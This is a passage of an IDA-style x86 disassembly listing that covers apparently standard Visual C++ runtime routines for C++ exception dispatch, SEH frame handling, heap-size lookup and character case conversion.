loc_41AFCC:				; CODE XREF: sub_41AE65+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41AFDC
		push	1
		push	esi
		call	sub_41B53A
		pop	ecx
		pop	ecx


loc_41AFDC:				; CODE XREF: sub_41AE65+56j
					; sub_41AE65+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AFE1:				; CODE XREF: sub_41AE65+37j
					; sub_41AE65+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41B007
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41B00C
		add	esp, 20h
		jmp	short loc_41AFDC
; ---------------------------------------------------------------------------


loc_41B007:				; CODE XREF: sub_41AE65+180j
		jmp	sub_41B61C
sub_41AE65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B00C	proc near		; CODE XREF: sub_41AE65+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_4C9108, 0
		push	esi
		push	edi
		jz	short loc_41B03D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4161A2
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41B0B0


loc_41B03D:				; CODE XREF: sub_41B00C+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162CB
		add	esp, 14h
		mov	esi, eax


loc_41B059:				; CODE XREF: sub_41B00C+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41B0B0
		cmp	edi, [esi]
		jl	short loc_41B0A8
		cmp	edi, [esi+4]
		jg	short loc_41B0A8
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41B082
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41B0A8


loc_41B082:				; CODE XREF: sub_41B00C+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41B1C5
		add	esp, 2Ch


loc_41B0A8:				; CODE XREF: sub_41B00C+57j
					; sub_41B00C+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B0B0:				; CODE XREF: sub_41B00C+2Fj
					; sub_41B00C+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41B00C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0B4	proc near		; CODE XREF: sub_41AE65+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41B10B
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41B10B
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41B0E5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B107


loc_41B0E5:				; CODE XREF: sub_41B0B4+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41B0EF
		test	byte ptr [edi],	8
		jz	short loc_41B107


loc_41B0EF:				; CODE XREF: sub_41B0B4+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41B0FE
		test	byte ptr [edi],	1
		jz	short loc_41B107


loc_41B0FE:				; CODE XREF: sub_41B0B4+43j
		test	al, 2
		jz	short loc_41B10B
		test	byte ptr [edi],	2
		jnz	short loc_41B10B


loc_41B107:				; CODE XREF: sub_41B0B4+2Fj
					; sub_41B0B4+39j ...
		xor	eax, eax
		jmp	short loc_41B10E
; ---------------------------------------------------------------------------


loc_41B10B:				; CODE XREF: sub_41B0B4+Bj
					; sub_41B0B4+14j ...
		push	1
		pop	eax


loc_41B10E:				; CODE XREF: sub_41B0B4+55j
		pop	edi
		pop	esi
		retn
sub_41B0B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B111	proc near		; CODE XREF: sub_41ADCA+34p
					; sub_41B1C5+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_422848
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41B143:				; CODE XREF: sub_41B111+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41B19D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41B152
		cmp	esi, [edi+4]
		jl	short loc_41B157


loc_41B152:				; CODE XREF: sub_41B111+3Aj
		call	sub_41B672


loc_41B157:				; CODE XREF: sub_41B111+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41B172
		push	103h
		push	ebx
		push	eax
		call	sub_41B5D0


loc_41B172:				; CODE XREF: sub_41B111+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41B192
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41B1AF
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41B192:				; CODE XREF: sub_41B111+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41B143
; ---------------------------------------------------------------------------


loc_41B19D:				; CODE XREF: sub_41B111+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B111	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B1AF	proc near		; CODE XREF: sub_41B111+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41B1C0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B1C0:				; CODE XREF: sub_41B1AF+Cj
		jmp	sub_41B61C
sub_41B1AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B1C5	proc near		; CODE XREF: sub_41AE65+151p
					; sub_41B00C+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41B1E7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41B376
		add	esp, 10h


loc_41B1E7:				; CODE XREF: sub_41B1C5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41B1F3
		push	edi
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F3:				; CODE XREF: sub_41B1C5+29j
		push	[ebp+arg_24]


loc_41B1F6:				; CODE XREF: sub_41B1C5+2Cj
		call	sub_4160A4
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41B111
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41B240
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41B23B
		push	edi
		push	eax
		call	sub_416062


loc_41B23B:				; CODE XREF: sub_41B1C5+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41B1C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B240	proc near		; CODE XREF: sub_41B1C5+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_422858
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_4C9100
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_4C9104
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_4C9100, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_4C9104, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_416129
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41B306
		mov	eax, [ebp+var_2C]


loc_41B2CD:				; CODE XREF: sub_41B2E6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B240	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2DC	proc near		; DATA XREF: _1:00422868o
		push	dword ptr [ebp-14h]
		call	sub_41B34C
		pop	ecx
		retn
sub_41B2DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2E6	proc near		; DATA XREF: _1:0042286Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41638A
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41B2CD
sub_41B2E6	endp

; ---------------------------------------------------------------------------


loc_41B2FE:				; DATA XREF: _1:00422860o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41B306	proc near		; CODE XREF: sub_41B240+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_4C9100, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_4C9104, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41B34B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41B34B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41B34B
		cmp	[ebp-24h], ebx
		jnz	short locret_41B34B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41B34B
		call	sub_4163F2
		push	eax
		push	edi
		call	sub_41B53A
		pop	ecx
		pop	ecx

locret_41B34B:				; CODE XREF: sub_41B306+1Cj
					; sub_41B306+22j ...
		retn
sub_41B306	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B34C	proc near		; CODE XREF: sub_41B2DC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41B373
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41B373
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41B373
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41B373
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41B373:				; CODE XREF: sub_41B34C+Cj
					; sub_41B34C+12j ...
		xor	eax, eax
		retn
sub_41B34C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B376	proc near		; CODE XREF: sub_41B1C5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_422870
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41B51F
		cmp	byte ptr [eax+8], 0
		jz	loc_41B51F
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41B51F
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41B413
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41E9F2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B516
		push	1
		push	edi
		call	sub_41EA0E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B516
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41B404:				; CODE XREF: sub_41B376+F5j
		push	eax
		call	sub_41B5A1
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41B51B
; ---------------------------------------------------------------------------


loc_41B413:				; CODE XREF: sub_41B376+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41B46D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41E9F2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B516
		push	1
		push	edi
		call	sub_41EA0E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B516
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_416470
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41B51B
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41B51B
		add	esi, 8
		push	esi
		jmp	short loc_41B404
; ---------------------------------------------------------------------------


loc_41B46D:				; CODE XREF: sub_41B376+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41B4B5
		call	sub_41E9F2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41B516
		push	1
		push	edi
		call	sub_41EA0E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B516
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41B5A1
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_416470
		add	esp, 0Ch
		jmp	short loc_41B51B
; ---------------------------------------------------------------------------


loc_41B4B5:				; CODE XREF: sub_41B376+103j
		call	sub_41E9F2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B516
		push	1
		push	edi
		call	sub_41EA0E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41B516
		push	dword ptr [esi+18h]
		call	sub_41EA2A
		pop	ecx
		test	eax, eax
		jz	short loc_41B516
		test	byte ptr [esi],	4
		jz	short loc_41B4FC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41B5A1
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41609D
		jmp	short loc_41B51B
; ---------------------------------------------------------------------------


loc_41B4FC:				; CODE XREF: sub_41B376+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41B5A1
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_416096
		jmp	short loc_41B51B
; ---------------------------------------------------------------------------


loc_41B516:				; CODE XREF: sub_41B376+6Aj
					; sub_41B376+7Cj ...
		call	sub_41B672


loc_41B51B:				; CODE XREF: sub_41B376+98j
					; sub_41B376+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41B51F:				; CODE XREF: sub_41B376+2Ej
					; sub_41B376+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B376	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41B61C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B53A	proc near		; CODE XREF: sub_41AE65+170p
					; sub_41B306+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_422880
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B581
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41B581
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_416096
		or	[ebp+var_4], 0FFFFFFFFh


loc_41B581:				; CODE XREF: sub_41B53A+2Aj
					; sub_41B53A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B53A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41B61C

; =============== S U B	R O U T	I N E =======================================



sub_41B5A1	proc near		; CODE XREF: sub_41B376+8Fp
					; sub_41B376+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41B5C2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41B5C2:				; CODE XREF: sub_41B5A1+12j
		pop	esi
		retn
sub_41B5A1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B5D0	proc near		; CODE XREF: sub_416129+40p
					; sub_41B111+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_416415
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41B60F
		mov	ecx, 2


loc_41B60F:				; CODE XREF: sub_41B5D0+38j
		push	ecx
		call	sub_416415
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41B5D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B61C	proc near		; CODE XREF: sub_41AE65:loc_41B007j
					; sub_41B1AF:loc_41B1C0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041EA42 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_422890
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_4C910C
		test	eax, eax
		jz	short loc_41B664
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41B660
; ---------------------------------------------------------------------------


loc_41B659:				; DATA XREF: _1:004228A0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41B65D:				; DATA XREF: _1:004228A4o
		mov	esp, [ebp+var_18]


loc_41B660:				; CODE XREF: sub_41B61C+3Bj
		and	[ebp+var_4], 0


loc_41B664:				; CODE XREF: sub_41B61C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41B66D:				; DATA XREF: _1:00422898o
		jmp	loc_41EA42
sub_41B61C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B672	proc near		; CODE XREF: sub_4162CB+23p
					; sub_4162CB:loc_416336p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4228A8
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_4316E4
		test	eax, eax
		jz	short loc_41B6BA
		mov	[ebp+var_4], 1
		call	eax ; sub_41B61C
		jmp	short loc_41B6B6
; ---------------------------------------------------------------------------


loc_41B6AF:				; DATA XREF: _1:004228B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41B6B3:				; DATA XREF: _1:004228BCo
		mov	esp, [ebp+var_18]


loc_41B6B6:				; CODE XREF: sub_41B672+3Bj
		and	[ebp+var_4], 0


loc_41B6BA:				; CODE XREF: sub_41B672+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5
		jmp	sub_41B61C
sub_41B672	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B6C8	proc near		; CODE XREF: sub_4167B3+7p
					; sub_4167B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_4CA708
		push	esi
		cmp	eax, 3
		jnz	short loc_41B6F1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_418EA9
		test	eax, eax
		pop	ecx
		jz	short loc_41B6EE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41B726
; ---------------------------------------------------------------------------


loc_41B6EE:				; CODE XREF: sub_41B6C8+1Cj
		push	esi
		jmp	short loc_41B718
; ---------------------------------------------------------------------------


loc_41B6F1:				; CODE XREF: sub_41B6C8+Ej
		cmp	eax, 2
		jnz	short loc_41B715
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_419C04
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B715
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41B726
; ---------------------------------------------------------------------------


loc_41B715:				; CODE XREF: sub_41B6C8+2Cj
					; sub_41B6C8+43j
		push	[ebp+arg_0]


loc_41B718:				; CODE XREF: sub_41B6C8+27j
		push	0
		push	ds:dword_4CA704
		call	ds:dword_4221A8	; RtlSizeHeap


loc_41B726:				; CODE XREF: sub_41B6C8+24j
					; sub_41B6C8+4Bj
		pop	esi
		leave
		retn
sub_41B6C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B729	proc near		; CODE XREF: sub_416878+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4C911C, 0
		push	ebx
		jnz	short loc_41B754
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41B7F2
		cmp	eax, 7Ah
		jg	loc_41B7F2
		sub	eax, 20h
		jmp	loc_41B7F2
; ---------------------------------------------------------------------------


loc_41B754:				; CODE XREF: sub_41B729+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41B787
		cmp	ds:dword_42F56C, 1
		jle	short loc_41B774
		push	2
		push	ebx
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41B77F
; ---------------------------------------------------------------------------


loc_41B774:				; CODE XREF: sub_41B729+3Dj
		mov	eax, ds:off_42F360
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41B77F:				; CODE XREF: sub_41B729+49j
		test	eax, eax
		jnz	short loc_41B787


loc_41B783:				; CODE XREF: sub_41B729+AFj
		mov	eax, ebx
		jmp	short loc_41B7F2
; ---------------------------------------------------------------------------


loc_41B787:				; CODE XREF: sub_41B729+34j
					; sub_41B729+58j
		mov	edx, ds:off_42F360
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41B7AA
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41B7B3
; ---------------------------------------------------------------------------


loc_41B7AA:				; CODE XREF: sub_41B729+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41B7B3:				; CODE XREF: sub_41B729+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_4C911C
		call	sub_41C829
		add	esp, 20h
		test	eax, eax
		jz	short loc_41B783
		cmp	eax, 1
		jnz	short loc_41B7E5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41B7F2
; ---------------------------------------------------------------------------


loc_41B7E5:				; CODE XREF: sub_41B729+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41B7F2:				; CODE XREF: sub_41B729+14j
					; sub_41B729+1Dj ...
		pop	ebx
		leave
		retn
sub_41B729	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7F5	proc near		; CODE XREF: sub_416A97+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
